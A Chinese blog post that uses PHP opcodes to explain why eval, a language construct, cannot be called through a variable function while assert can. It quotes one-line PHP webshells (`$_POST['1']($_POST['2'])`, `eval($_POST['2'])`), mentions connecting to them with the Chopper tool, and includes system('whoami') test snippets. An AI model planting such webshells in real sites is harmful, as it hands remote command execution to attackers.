从底层分析eval和assert的区别
经常会遇上这么一个问题
<?php
$_POST['1']($_POST['2']);
在菜刀中一般是1=assert&2做为密码连接,或者1=system&2=whoami来执行命令。
<?php
eval($_POST['2']);
看看熟悉的一句话,这个时候就会想,为啥不能这样1=eval&2
连接。
$_POST['1']()
这是一个可变函数,这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
但值得注意的是不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构
所以在看手册里面看eval函数就会发现有一行提示:
Note: 因为是一个++语言构造器++而不是一个函数,不能被可变函数调用。
结论就说到这,现在来验证一下。
eval.php
<?php
eval("system('whoami');");
assert.php
<?php
assert('system("whoami")');
可以很清楚的看到opcode,eval是INCLUDE_OR_EVAL去处理,而assert是用DO_FCALL去处理。
可以看下DO_FCALL
会进行一个函数名的查找
再跟一下INCLUDE_OR_EVAL
就会发现进去后会直接编译eval参数中的代码。
从一开始的跟踪opcode中可以看到,eval其实是Zend的函数,而assert是PHP_FUNCTION宏编写的,最后在调用上是不同的。
print与printf也一样,前者不是函数,而后者是的。
对于opcode的理解可以看看这篇文章
感谢ph师傅以及各位基友的指导。
参考资料:
ln-科普小文章php内核动态调试关于弱类型比较
know it then do it
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具